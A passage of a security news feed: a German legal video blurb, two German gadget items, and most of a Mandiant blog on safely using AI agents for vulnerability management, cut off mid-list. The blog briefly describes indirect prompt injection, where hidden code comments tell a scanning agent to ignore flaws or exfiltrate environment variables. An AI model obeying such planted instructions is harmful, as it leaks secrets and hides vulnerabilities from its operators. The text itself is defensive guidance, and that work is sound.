Versicherungen haben jahrelang Sofortrenten verka...]]></description>
<link>https://tsecurity.de/de/3673942/videos/gericht-bestaetigt-abzocke-mit-sofortrenten-anwalt-christian-solmecke/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3673942/videos/gericht-bestaetigt-abzocke-mit-sofortrenten-anwalt-christian-solmecke/</guid>
<pubDate>Thu, 16 Jul 2026 17:18:32 +0200</pubDate>
<category>🎥 Videos</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: WBS LEGAL - Bewertung: 9x - Views:62 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/QtgO7tcD7Q8?autoplay=1&origin=http://tsecurity.de" frameborder="0"></iframe></p><p>Jetzt Sofortrenten-Vertrag kostenfrei checken lassen: https://wbs.law/rente<br />
<br />
Du hast eine Kündigung erhalten? Wir prüfen deinen Anspruch auf eine Abfindung. ➔ https://wbs.law/abfindung2<br />
<br />
▬▬▬▬▬▬▬▬▬▬▬▬▬ <br />
<br />
Versicherungen haben jahrelang Sofortrenten verkauft, die sich für die Kunden fast nie lohnen. Der Trick: Sie rechnen mit geheimen, eigenen Sterbetafeln, damit sie weniger auszahlen müssen. Das LG Hagen hat jetzt klargestellt: So nicht! Werden die offiziellen amtlichen Tabellen genutzt, sieht man erst, wie unprofitabel die Verträge sind. Das ist unser Hebel: Wer falsch beraten wurde (und das wurden sehr viele), kann den Vertrag aufheben und seine Einmalzahlung plus Zinsen zurückfordern.<br />
Finanztip.de zur Sofortrente: https://www.finanztip.de/altersvorsorge/sofortrente/ <br />
§ 6 VVG: https://www.gesetze-im-internet.de/vvg_2008/__6.html <br />
§ 199 BGB: https://www.gesetze-im-internet.de/bgb/__199.html <br />
<br />
<br />
▬▬▬▬▬▬▬▬▬▬▬▬▬ <br />
WBS.LEGAL sucht dich! Du bist auf der Suche nach einem attraktiven, spannenden und anspruchsvollen Job? Dann bewirb dich bei uns und komm in unser Team. Bei WBS.LEGAL arbeitest du im Herzen der Medienhauptstadt Köln und bist im Berufsleben immer am Puls der Zeit – garantiert. Hier unsere offenen Stellenangebote: https://www.wbs.legal/karriere/#jobs Was erwartet dich bei uns? Hier bekommst du weitere Infos: https://www.wbs.legal/karriere/. <br />
<br />
▬▬▬▬▬▬▬▬▬▬▬▬▬ <br />
Rechtsanwalt Prof. Christian Solmecke Prof. Christian Solmecke hat sich als Rechtsanwalt und Partner der Kölner Medienrechtskanzlei WBS.LEGAL auf die Beratung der Internet-, IT- und Medienbranche spezialisiert. So hat er in den vergangenen Jahren den Bereich Internetrecht/E-Commerce der Kanzlei stetig ausgebaut und betreut zahlreiche Medienschaffende, Web-2.0-Plattformen und App- Entwickler. Neben seiner Tätigkeit als Rechtsanwalt ist Prof. Christian Solmecke vielfacher Buchautor und als Gründer der cloudbasierten Kanzleisoftware Legalvisio.de auch erfolgreicher LegalTech-Unternehmer.<br />
<br />
 ▬▬▬▬▬▬▬▬▬▬▬▬▬ <br />
Virtueller Kanzlei-Rundgang: https://wbs.law/rundgang Startet euren Rundgang in 3D und 360° durch die Kanzlei WBS.LEGAL (inkl. YouTube- Studio) <br />
<br />
▬▬▬▬▬▬▬▬▬▬▬▬▬ <br />
Social-Media-Kanäle von WBS.LEGAL Wir freuen uns, wenn du uns auch auf unseren weiteren Social-Media-Kanälen besuchst und uns dort folgst. Jeder unserer Kanäle steht für sich und bringt dir garantiert einen Mehrwert. <br />
<br />
▬Instagram und TikTok▬ <br />
Auf unseren erfolgreichen Kanälen auf Instagram und TikTok räumen wir täglich mit Rechtsirrtümern auf und präsentieren dir rechtliche Lifehacks. Damit bist du immer auf dem Laufendem und bekommst deine tägliche Dosis Alltagsrecht. Kurz, knackig und immer auf den Punkt. Folge uns auf Instagram und TikTok und du kannst vor deinen Freunden mit neuem Wissen glänzen. <br />
<br />
➥ Instagram: https://wbs.law/recht2go <br />
➥ TikTok: https://wbs.law/recht2goTikTok<br />
<br />
 ▬Facebook▬ <br />
Auf Facebook sind wir inzwischen schon alte Hasen, denn seit Jahren informieren wir dich dort täglich über aktuelle Rechts-News. Gerne kannst du uns dort auch eine Anfrage als private Nachricht schicken. Schau vorbei! <br />
<br />
Hier der Link: ➥ https://wbs.law/facebook<br />
<br />
▬Podcasts▬<br />
 Du bist unterwegs, unter der Dusche oder hörst einfach gerne Podcasts? Dann haben wir etwas für dich: Höre die Tonspur unserer Videos täglich auf Spotify, Soundcloud und iTunes. So bleibst du immer aktuell! <br />
<br />
Hier die Links: <br />
➥ https://wbs.law/spotify <br />
➥ https://wbs.law/soundcloud <br />
➥ https://wbs.law/apple<br />
<br />
▬Unser Zweitkanal▬ <br />
Unseren weiteren YouTube-Kanal „WBS – Die Experten“ kennst du, oder? Wenn nicht, dann unsere dringende Empfehlung: Schau rein! Denn hier erfährst du immer donnerstags ausführlich alle wichtigen Infos zu unseren Rechtsbereichen – präsentiert von einigen unserer Top-Rechtsanwälte. Ob Medienrecht, Urheberrecht, Markenrecht, Social-Media- Recht, Verkehrsrecht oder Datenschutzrecht: Das alles und mehr nur auf unserem Zweitkanal, und zwar aus erster Hand von unseren WBS-Experten. <br />
<br />
Hier der Link: ➥ https://wbs.law/dieexperten <br />
<br />
▬Kontakt▬ <br />
Hotline: 0221 / 400 67 550 E-Mail: info@wbs.legal<br/></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Insta360 X6: Technische Daten & erste Bilder der 360-Grad-Kamera]]></title>
<description><![CDATA[Der Launch der Insta360 X6, dem neusten Modell der 360-Grad-Kamera-Serie, soll kurz bevorstehen. Aufgetaucht ist die Actioncam bereits auf „offiziellen Marketingbildern“, nun machen im Vorfeld der offiziellen Vorstellung auch technische Daten (ebenfalls) aus der (verlässlichen) Hand von Roland Qu...]]></description>
<link>https://tsecurity.de/de/3673836/it-nachrichten/insta360-x6-technische-daten-erste-bilder-der-360-grad-kamera/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3673836/it-nachrichten/insta360-x6-technische-daten-erste-bilder-der-360-grad-kamera/</guid>
<pubDate>Thu, 16 Jul 2026 16:47:11 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Der Launch der Insta360 X6, dem neusten Modell der 360-Grad-Kamera-Serie, soll kurz bevorstehen. Aufgetaucht ist die Actioncam bereits auf „offiziellen Marketingbildern“, nun machen im Vorfeld der offiziellen Vorstellung auch technische Daten (ebenfalls) aus der (verlässlichen) Hand von Roland Quandt die...<p>Zum Beitrag: <a href="https://stadt-bremerhaven.de/insta360-x6-technische-daten-erste-bilder-der-360-grad-kamera/">Insta360 X6: Technische Daten &amp; erste Bilder der 360-Grad-Kamera</a>
</p><p>
Wo du uns folgen kannst:
<a href="http://www.facebook.com/CaschysBlog">Facebook</a>, <a href="https://www.reddit.com/r/CaschysBlog/">Reddit</a>, <a href="https://news.google.com/publications/CAAqMQgKIitDQklTR2dnTWFoWUtGSE4wWVdSMExXSnlaVzFsY21oaGRtVnVMbVJsS0FBUAE?ceid=DE:de&amp;oc=3">Google News</a>, <a href="https://x.com/CaschysBlog">X</a>, <a href="https://www.threads.com/@caschysblog">Threads</a>
<br>
</p><div>
    <strong>Auf dem Laufenden bleiben?</strong>
    <br>
    <a href="https://www.google.com/preferences/source?q=stadt-bremerhaven.de">Fügt uns doch bei Google als bevorzugte Quelle hinzu!</a>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Statt teurer Webcam: Warum euer Smartphone die beste Wahl für Video-Calls ist]]></title>
<description><![CDATA[Wenn die eingebaute Laptop-Kamera mal wieder nur ein verpixeltes Bild liefert oder gar keine Webcam zur Hand ist, müsst ihr nicht gleich Geld für neue Hardware ausgeben. Die beste Kamera habt ihr nämlich meist schon in der Hosentasche: euer Smartphone! Wir zeigen euch, wie ihr euer Android-Handy ...]]></description>
<link>https://tsecurity.de/de/3673792/android-tipps/statt-teurer-webcam-warum-euer-smartphone-die-beste-wahl-fuer-video-calls-ist/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3673792/android-tipps/statt-teurer-webcam-warum-euer-smartphone-die-beste-wahl-fuer-video-calls-ist/</guid>
<pubDate>Thu, 16 Jul 2026 16:26:15 +0200</pubDate>
<category>🤖 Android Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Wenn die eingebaute Laptop-Kamera mal wieder nur ein verpixeltes Bild liefert oder gar keine Webcam zur Hand ist, müsst ihr nicht gleich Geld für neue Hardware ausgeben. Die beste Kamera habt ihr nämlich meist schon in der Hosentasche: euer Smartphone! Wir zeigen euch, wie ihr euer Android-Handy oder iPhone ganz einfach als hochwertige Webcam für PC und Mac nutzt.]]></content:encoded>
</item>
<item>
<title><![CDATA[Demystifying AI Exploits: A Blueprint for AI-Assisted Vulnerability Management]]></title>
<description><![CDATA[Written by: Jules Czarniak

Introduction 
As highlighted in the Mandiant M-Trends 2026 report, the mean time-to-exploit (TTE) has dropped to -7 days, meaning vulnerabilities are often exploited a week before a patch even exists. 
To keep pace, many security teams are exploring how to integrate la...]]></description>
<link>https://tsecurity.de/de/3673775/it-security-nachrichten/demystifying-ai-exploits-a-blueprint-for-ai-assisted-vulnerability-management/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3673775/it-security-nachrichten/demystifying-ai-exploits-a-blueprint-for-ai-assisted-vulnerability-management/</guid>
<pubDate>Thu, 16 Jul 2026 16:23:24 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div class="block-paragraph_advanced"><p>Written by: Jules Czarniak</p>
<hr></div>
<div class="block-paragraph_advanced"><h3><span>Introduction </span></h3>
<p><span>As highlighted in the </span><a href="https://cloud.google.com/security/resources/m-trends"><span>Mandiant M-Trends 2026 report</span></a><span>, the mean time-to-exploit (TTE) has dropped to -7 days, meaning vulnerabilities are often exploited a week before a patch even exists. </span></p>
<p><span>To keep pace, many security teams are exploring how to integrate large language model (LLM) agents into their codebases, development environments and continuous integration and continuous delivery (CI/CD) pipelines for automated vulnerability discovery and remediation. However, deploying privileged artificial intelligence (AI) agents without mature integration processes introduces new architectural risks. </span></p>
<p><span>In response to customer inquiries about how to safely integrate AI capabilities into vulnerability management workflows, this blog provides actionable guidance from Mandiant Consulting about how to establish operational guardrails for AI assisted vulnerability management, including several detailed scenarios. What each of these examples show is that security teams can accelerate workflows with AI while also upholding the structural integrity of their environments. We suggest that combining AI capabilities with deterministic controls and human intelligence in strategic ways maximizes benefits and reduces risk. </span></p>
<h3><span>Establish Operational Guardrails to Safely Deploy AI Agents</span></h3>
<p><span>To safely adopt advanced AI capabilities without introducing unpredictable failures into deployment pipelines, organizations should ground their approach in established industry standards. While guidelines like the </span><a href="https://www.nist.gov/itl/ai-risk-management-framework" rel="noopener" target="_blank"><span>NIST AI Risk Management Framework (RMF)</span></a><span> and the </span><a href="https://owasp.org/www-project-top-10-for-large-language-model-applications/" rel="noopener" target="_blank"><span>OWASP Top 10 for LLMs</span></a><span> provide comprehensive baselines for identifying risks, operationalizing these controls requires a structural blueprint.</span></p>
<p><span>Frameworks like </span><a href="https://safety.google/intl/en_sg/safety/saif/" rel="noopener" target="_blank"><span>Google’s Secure AI Framework (SAIF)</span></a><span> </span><a href="https://safety.google/intl/en_sg/safety/saif/" rel="noopener" target="_blank"><span>and</span></a><a href="https://storage.googleapis.com/gweb-research2023-media/pubtools/1018686.pdf" rel="noopener" target="_blank"><span> </span><span>Google’s approach to secure AI Agents</span></a><span> provide a practical path forward, demanding that organizations extend existing deterministic controls directly into the AI execution environment. When deploying AI agents, security teams should navigate specific operational and structural risks:</span></p>
<ul>
<li aria-level="1">
<p role="presentation"><strong>Pre-agent data security and Defense-in-Depth:</strong><span> Agents should not be able to access personally identifiable information (PII), protected health information (PHI), or other sensitive data. Organizations should enforce data security before the prompt reaches the model. This includes strictly using non-production environments populated with synthetic data for testing. For production, security teams should deploy a hybrid defense-in-depth model. This includes Layer 1 deterministic policy engines acting as chokepoints, alongside Layer 2 reasoning-based defenses like specialized guard models (such as </span><a href="https://docs.cloud.google.com/model-armor/overview"><span>Model Armor</span></a><span> or similar provider-agnostic guardrails) to filter out sensitive data and block malicious prompt injections before they reach the agent layer. Crucially for vulnerability discovery, security teams should treat the codebase itself as an untrusted input. Threat actors can embed indirect prompt injections within source code comments or third-party dependencies (e.g., hidden instructions telling the agent to ignore vulnerabilities or exfiltrate environment variables), making input sanitation a requirement even for internal scanning.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Cloud provider limitations and zero data retention (ZDR):</strong><span> Many cloud and LLM providers block or throttle automated offensive security probing by default to prevent abuse. Organizations should establish clear rules of engagement and authorized testing agreements to navigate acceptable use policies. Furthermore, organizations should enforce strict zero data retention (ZDR) agreements with their LLM providers to guarantee that proprietary code and discovered vulnerabilities are never used to train external models.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Workload isolation:</strong><span> Agent workloads should execute in strictly isolated, unprivileged containers with dynamically limited privileges. By relying on robust sandboxing to prevent privilege escalation, if an agent hallucinates a destructive command or is hijacked via prompt injection, the blast radius remains contained.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Red Teaming:</strong><span> Before deploying autonomous vulnerability scanners that can dynamically spin up sandboxes and execute code, organizations should subject the AI agents themselves to human-led red teaming as part of comprehensive assurance efforts. This validates the agent's resilience against jailbreaks, recursive logic loops, and complex prompt injections, ensuring the security tooling does not become the attack vector.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Least-Privileged Machine Identities and Human Controllers:</strong><span> While workloads should be isolated, agents inherently require privileges to generate pull requests and commit code. Security teams should ensure these agents operate under distinct, strictly scoped machine identities that tie back to human controllers to ensure accountability and user consent. Organizations should use short-lived, just-in-time (JIT) tokens bound exclusively to the specific repository and branch under review. T</span><span>his enforces the principle of limited agent powers and ensures that even if an agent’s container is compromised via prompt injection, the threat actor cannot pivot to modify adjacent enterprise codebases.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Supply chain resilience for skills:</strong><span> As developers augment AI with third-party skills and model context protocol (MCP) servers, security teams should treat these integrations as untrusted supply chain components. MCP plugins introduce the risk of supply chain poisoning, where a previously benign integration is silently updated with malicious dependencies. Additionally, security teams should evaluate the underlying agent orchestration frameworks themselves (e.g., LangChain, AutoGen) for inherent vulnerabilities, such as session memory poisoning or recursive loop hijacking.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Toxic flow analysis (TFA) and Observable Actions:</strong><span> The objective of TFA is to monitor data paths at runtime, ensuring agents do not exfiltrate sensitive internal context to unvetted external endpoints. Agent actions, inputs, reasoning, and outputs must be fully observable and transparently logged. While implementing dynamic taint tracking for LLMs remains a complex architectural challenge, organizations should clearly separate this runtime observability from static supply chain controls. Integrating threat intelligence to hash and vet incoming agent tools provides a necessary baseline for verifying integrity </span><span>before</span><span> deployment. However, because static controls cannot address behavior post-deployment, mitigating data exfiltration ultimately requires active runtime monitoring and secure, centralized logging to trace and restrict the actual flow of data.</span></p>
</li>
</ul></div>
<div class="block-image_full_width">






  
    <div class="article-module h-c-page">
      <div class="h-c-grid">
  

    <figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      ">

      
      
        
        <img src="https://storage.googleapis.com/gweb-cloudblog-publish/images/Demystifying_AI_image1.max-1000x1000.png" alt="Demystifying AI image1">
        
        
      
        <figcaption class="article-image__caption "><p data-block-key="u6hlz">Figure 1: Visual representation of an isolated AI agent environment using SAIF mechanisms</p></figcaption>
      
    </figure>

  
      </div>
    </div>
  




</div>
<div class="block-paragraph_advanced"><p><span>By operationalizing these tools within frameworks that demand verifiable integrity and structural resilience, organizations can safely bridge the gap between AI velocity and enterprise defense.</span></p>
<h3><span>The need for human-led threat modeling</span></h3>
<p><span>While LLMs excel at identifying syntax patterns, source code itself rarely contains the full picture of unwritten business intent. Some organizations attempt to solve this by connecting LLM agents to internal wikis, design documents, and issue trackers using retrieval-augmented generation (RAG).</span></p>
<p><span>While RAG gives the model access to external business context, it is not a perfect fix. Corporate documentation is frequently stale, contradictory, or incomplete. An AI agent might retrieve an outdated architecture diagram and confidently hallucinate a secure path that no longer exists in production. Because LLM agents struggle to resolve conflicting, undocumented human assumptions, human-led threat modeling remains a critical security control across both legacy applications and modern agent workflows.</span></p>
<p><span>Security teams should apply threat modeling during both the pre-build system design phase to establish a secure foundation, and during post-build architecture reviews. While an AI agent might successfully identify a poorly configured internal endpoint locally, a human threat modeler asks the structural question: </span><span>why does that microservice possess broad database read permissions in the first place?</span><span> </span></p>
<p><span>Identifying architectural vulnerabilities requires reasoning about business risk, data sensitivity, and operational constraints. To structure this process, organizations can use industry frameworks like PASTA (Process for Attack Simulation and Threat Analysis) or service offerings like the </span><a href="https://services.google.com/fh/files/misc/ds-threat-modeling-security-service-en.pdf" rel="noopener" target="_blank"><span>Mandiant Threat Modeling Security Service</span></a><span> to map trust boundaries, uncover structural design flaws, and prioritize compensating controls. Securing fundamental architecture through human oversight is a necessary component when relying on automated agents to find bugs in a poorly designed system.</span></p>
<p><span>Once these AI agents are safely sandboxed, as guided by SAIF, and the architecture is verified through threat modeling, organizations can typically apply them to two different problem spaces: Enterprise Vulnerability Management (to assist in managing the volume of known CVEs in commercial off-the-shelf (COTS) software and infrastructure) and Product Security (to identify vulnerabilities in 1st-party (1P) code).</span></p>
<h3><span>Track 1: Enterprise Vulnerability Management</span></h3>
<h4><span>Foundational security and discovery </span></h4>
<p><span>While the second track of this post explores how AI agents can uncover complex zero-days in custom code, organizations should manage the scale of enterprise infrastructure in tandem with these AI deployments. Even as new AI capabilities dominate headlines, organizations should still address foundational security challenges, such as secrets sprawl, unmanaged service accounts, missing FIDO2 MFA, and legacy VPN concentrators. Although vulnerability exploitation was the primary initial infection vector in intrusions Mandiant investigated last year, threat actors consistently rely on missing foundational controls and unpatched edge devices to secure and escalate their foothold after exploiting a vulnerability.</span></p>
<p><span>Furthermore, AI cannot replace foundational visibility. As security teams deploy AI agents, they should simultaneously close these tactical entry points by maximizing dynamic discovery capabilities like External Attack Surface Management (EASM), Cloud Security Posture Management (CSPM), and Continuous Threat Exposure Management (CTEM). In hybrid and cloud environments, tools like </span><a href="https://cloud.google.com/wiz?e=48754805"><span>Wiz</span></a><span> can be used to map this initial footprint.</span></p>
<h3><span>Risk-based vulnerability management </span></h3>
<p><span>Vulnerability management teams are already overwhelmed by the current volume of findings generated by traditional scanners. As organizations scale dynamic discovery tools, such as EASM, CSPM and CTEM, alongside automated AI agents, this influx of findings will compound the problem. To manage this influx, telemetry from these diverse discovery methods must first be normalized and deduplicated. This normalized data serves two purposes: it feeds directly into the risk engine, and it acts as a live overlay to correct stale records in the configuration management database (CMDB). By evaluating the deduplicated vulnerabilities alongside this newly updated asset context and frontline threat intelligence, the RBVM engine calculates a custom risk score that allows security teams to dynamically prioritize remediation.</span></p>
<p><span>A mature RBVM methodology calculates a customized risk score on a 0 to 100 scale using a weighted average. A sample formula for calculating this risk-based score is:</span></p>
<p><span>Final Score = (W_1 * S_vuln) + (W_2 * S_asset) + (W_3 * S_threat)</span></p>
<p><span>The variables and weights (W) are customized to the organization's risk appetite (for example, 0.20 for vulnerability, 0.40 for asset, and 0.40 for threat, summing to 1.0), while the underlying variables (S) are scored on a 0 to 100 scale and defined as follows:</span></p>
<ul>
<li aria-level="1">
<p role="presentation"><strong>Vulnerability severity (S_vuln): </strong><span>The inherent technical severity of the flaw. This is calculated by taking the CVSS Base Score (which natively accounts for confidentiality, integrity, and availability impact) and multiplying it by 10.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Asset context (S_asset): </strong><span>A combined metric of exposure and data sensitivity. Scores range from 100 for internet-facing assets holding customer data, down to 25 for internal-only assets with no sensitive data. To translate this impact into monetary terms for non-technical stakeholders, organizations can incorporate Factor Analysis of Information Risk (FAIR) principles into this metric. However, this approach requires highly accurate, continuously updated financial data that many enterprises struggle to maintain at scale.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Threat context (S_threat): </strong><span>The real-world urgency of the vulnerability. Scores range from 100 if actively exploited by threat actors relevant to the organization's profile, 75 if a proof-of-concept exists or if it is a vulnerability class easily exploited by autonomous AI agents, down to 25 if the exploit is theoretical and highly complex. Organizations should also map the Exploit Prediction Scoring System (EPSS) probability percentage directly into this variable. This allows the threat score to automatically scale up or down as real-world exploitation telemetry shifts, aligning static vulnerability data with active threat intelligence.</span></p>
</li>
</ul>
<p><span>An asset's customized risk score should directly influence internal remediation service-level agreements (SLAs), unless external compliance-driven mandates, such as CISA Binding Operational Directives (BODs), or relevant equivalents, override internal prioritization. A risk-driven and threat-intelligence-driven vulnerability prioritization methodology will help organizations focus resources on managing and mitigating the most critical security vulnerabilities first. This is an area where LLMs can support the vulnerability management process, particularly by helping teams synthesize unstructured threat intelligence to surface relevant risk contexts more efficiently. Enforcing strict SLOs for patching, while requiring formal risk acceptance documentation for any patching exceptions, will help reduce the number of vulnerabilities available to threat actors and increase the visibility of outstanding risks across the organization. Furthermore, organizations should integrate RBVM data directly into their security orchestration, automation, and response (SOAR) platforms for automated alert enrichment.</span></p></div>
<div class="block-image_full_width">






  
    <div class="article-module h-c-page">
      <div class="h-c-grid">
  

    <figure class="article-image--medium
      
      
        h-c-grid__col
        
        h-c-grid__col--4 h-c-grid__col--offset-4
        
      ">

      
      
        
        <img src="https://storage.googleapis.com/gweb-cloudblog-publish/images/Demystifying_AI_image5.max-1000x1000.png" alt="Demystifying AI image5">
        
        
      
        <figcaption class="article-image__caption "><p data-block-key="ce5s1">Figure 2: Integration points of a risk-based vulnerability management (RBVM) program.</p></figcaption>
      
    </figure>

  
      </div>
    </div>
  




</div>
<div class="block-paragraph_advanced"><h3><span>Containment and Observability</span></h3>
<p><span>Modern architecture blueprints must prioritize attack surface reduction under the assumption that vulnerabilities will inevitably be exploited. Moving away from traditional perimeter defenses, organizations should align with zero trust principles, ensuring that security boundaries are established around every asset, workload, and identity.</span></p>
<p><span>A component of this alignment is the implementation of strong authentication principles. Organizations should eliminate implicit trust by enforcing continuous, context-aware authentication and authorization. Utilizing Zero Trust Network Access (ZTNA) solutions, such as Identity-Aware Proxies (IAP), shields critical management interfaces (e.g., SSH, RDP) and internal systems from direct internet exposure, granting access only to verified identities and compliant devices.</span></p>
<p><span>For public-facing applications and APIs, attack surface reduction involves deploying Layer 7 inspection at the load balancer or API gateway level. This hardening layer enforces strict schema validation, intercepting and neutralizing malformed inbound traffic and potential exploits before they can interact with internal application logic.</span></p>
<p><span>Securing the software supply chain is equally vital in modern blueprints, and organizations should align with frameworks like </span><a href="https://slsa.dev/spec/v0.1/levels" rel="noopener" target="_blank"><span>Supply-chain Levels for Software Artifacts (SLSA)</span></a><span> across both dependency and build tracks. Security policies should mandate that third-party dependencies are routed through a centralized artifact repository equipped with automated curation services, such as </span><a href="https://cloud.google.com/security/products/assured-open-source-software"><span>Google Assured Open Source Software (OSS)</span></a><span> or an equivalent solution, preventing untrusted code from entering the development lifecycle. Furthermore, maturing toward advanced SLSA build levels (e.g., SLSA level 3) through the implementation of isolation, ephemerality and reproducibility requirements via  ephemeral compute infrastructure for CI/CD runners reduces the likelihood of attacker persistence by ensuring environments are short-lived and automatically cycled.</span></p>
<p><span>To complement these pre-build controls, runtime observability should be established across all production workloads. This requires monitoring both infrastructure-level behavior and the specific runtime libraries actively executing in production, which surfaces true exploitable risk far beyond a static Software Bill of Materials. In tandem with monitoring workloads, organizations should secure how they authenticate by implementing workload identity federation. By removing static credentials and instead using short-lived tokens backed by strong cryptographic identity verification, organizations can reduce the risk of credential theft and unauthorized lateral movement.</span></p>
<p><span>Within the internal environment, microsegmentation should be enforced to break down flat networks into granular security zones. Routing application traffic through a Secure Access Service Edge (SASE) architecture integrates network routing directly with robust identity controls, rendering internal services completely invisible to unauthenticated users and containing threats to their initial point of entry.</span></p>
<p><span>Finally, automated containment and incident response within a zero trust framework must rely on deterministic, auditable tooling. Endpoint detection and response (EDR) platforms and SOAR playbooks should handle high-fidelity containment tasks through hardcoded execution logic. While AI tools accelerate triage and policy recommendation, actual execution capabilities must remain restricted to well-defined, pre-tested workflows to maintain total architectural predictability.</span></p></div>
<div class="block-image_full_width">






  
    <div class="article-module h-c-page">
      <div class="h-c-grid">
  

    <figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      ">

      
      
        
        <img src="https://storage.googleapis.com/gweb-cloudblog-publish/images/Demystifying_AI_image8.max-1000x1000.png" alt="Demystifying AI image8">
        
        
      
        <figcaption class="article-image__caption "><p data-block-key="ak3zc">Figure 3: Structural containment and observability architecture</p></figcaption>
      
    </figure>

  
      </div>
    </div>
  




</div>
<div class="block-paragraph_advanced"><h3><span>Track 2: Product Security &amp; Development (1P Code)</span></h3>
<h4><span>Deterministic and probabilistic tooling</span></h4>
<p><span>Integrating LLM agents into vulnerability management and security workflows requires recognizing the differences between deterministic and probabilistic tooling. Traditional SAST and DAST tools utilize fixed methodologies to evaluate vulnerabilities through structural code parsing or definitive runtime observations. LLMs, however, evaluate source code by processing tokens simultaneously to calculate statistical and semantic relationships, rather than tracing deterministic execution tracks.</span></p>
<p><span>While techniques like Chain of Thought (CoT) prompting allow models to bridge this gap by decomposing complex code paths into intermediate reasoning steps, this process remains bounded by architectural limitations. Even when a model possesses a context window large enough to ingest entire repositories, it may experience attention degradation across long inputs, often failing to correctly weight intervening validation or sanitization logic within the prompt. For example, if a variable is tainted on line 10 but sanitized on line 500, attention degradation can cause the model to lose track of the sanitization logic. Furthermore, when enterprise codebases require chunking to fit within context limits, the resulting fragmentation may cause the model to lose track of end-to-end data flows.</span></p>
<p><span>Consequently, probabilistic engines are effective at uncovering localized, static anomalies, such as hardcoded credentials or outdated dependencies, but frequently misjudge complex vulnerabilities split across fragmented chunks or extended context windows. Notable exceptions occur when these probabilistic models are coupled with deterministic feedback loops. For instance, when analyzing C++ memory corruption, an LLM can be equipped with a test harness to iteratively execute code and definitively prove a crash. While these dynamic validation applications are detailed in subsequent sections, the baseline limitation for static analysis across standard enterprise codebases remains: models struggle to consistently evaluate dispersed logic.</span></p></div>
<div class="block-image_full_width">






  
    <div class="article-module h-c-page">
      <div class="h-c-grid">
  

    <figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      ">

      
      
        
        <img src="https://storage.googleapis.com/gweb-cloudblog-publish/images/Demystifying_AI_image4.max-1000x1000.png" alt="Demystifying AI image4">
        
        
      
        <figcaption class="article-image__caption "><p data-block-key="ak3zc">Figure 4: Deterministic SAST scanners vs. probabilistic LLMs</p></figcaption>
      
    </figure>

  
      </div>
    </div>
  




</div>
<div class="block-paragraph_advanced"><h3><span>Binary and architectural oracles</span></h3>
<p><span>Many security programs are moving toward agent workflows where an agent autonomously spins up a test environment and uses tools to execute payloads and verify its findings. This is a promising approach, but it is important to understand where it is most effective.</span></p>
<p><span>Agent workflows perform well against bug classes with binary and observable oracles, meaning the system provides an objective, 'crash or no crash' feedback loop. For example, if a model is hunting for memory corruption in a C++ kernel, a successful exploit is undeniable: the payload executes, and a resulting crash definitively proves the vulnerability. This explains why the industry is currently seeing a surge in AI-discovered vulnerabilities across memory-unsafe targets like web browsers and operating systems.</span></p>
<p><span>However, enterprise software is heavily dominated by vulnerabilities that require architectural oracles for validation. Vulnerabilities like authorization bypasses, complex business logic flaws, and indirect server-side request forgeries require an understanding of business context and cross-service trust boundaries. If an agent's payload fails to produce a clear outcome, it can't reliably distinguish whether the vulnerability is a hallucination or if it simply constructed the payload incorrectly. An agent's malformed payload might even crash an unrelated background process and cause the model to hallucinate a success and report a false confirmation. Complex enterprise architecture contains unwritten business intent that a probabilistic engine can't inherently know.</span></p></div>
<div class="block-image_full_width">






  
    <div class="article-module h-c-page">
      <div class="h-c-grid">
  

    <figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      ">

      
      
        
        <img src="https://storage.googleapis.com/gweb-cloudblog-publish/images/Demystifying_AI_image3.max-1000x1000.png" alt="Demystifying AI image3">
        
        
      
        <figcaption class="article-image__caption "><p data-block-key="bg92b">Figure 5: Evaluating vulnerabilities against binary vs. architectural oracles</p></figcaption>
      
    </figure>

  
      </div>
    </div>
  




</div>
<div class="block-paragraph_advanced"><h3><span>Targeted deployment and human impact</span></h3>
<p><span>Organizations adopting LLMs for vulnerability discovery face a massive staffing challenge. LLMs can generate findings significantly faster than human engineers can triage them. If every LLM-generated alert requires manual review, security teams will quickly face burnout and/or suffer alarm fatigue.</span></p>
<p><span>Rather than indiscriminately pointing agents at all available codebases and risking an influx of unverified output, security teams need a selective deployment strategy. Mature programs should maintain SAST and DAST for baseline hygiene and deterministic rule enforcement, and reserve intensive agent audits for high-impact components with clear binary oracles.</span></p>
<p><span>Organizations can prioritize agent audits on systems where the technology's strengths align with the broader risk profile:</span></p>
<ul>
<li aria-level="1">
<p role="presentation"><strong>Memory-unsafe codebases:</strong><span> Legacy or high-performance components written in memory-unsafe languages such as C, C++, or Assembly are strong candidates for LLM audits. These languages are susceptible to memory corruption flaws, such as buffer overflows and use-after-free conditions. Because these vulnerabilities trigger definitive failure states like segmentation faults, they work well with automated sandboxes where agents can compile the code with memory sanitizers and write proof-of-concept inputs. This approach is also effective for auditing the native extensions where safe languages call unsafe internal libraries, such as Python C extensions or the Java Native Interface (JNI).</span></p>
</li>
<li aria-level="1">
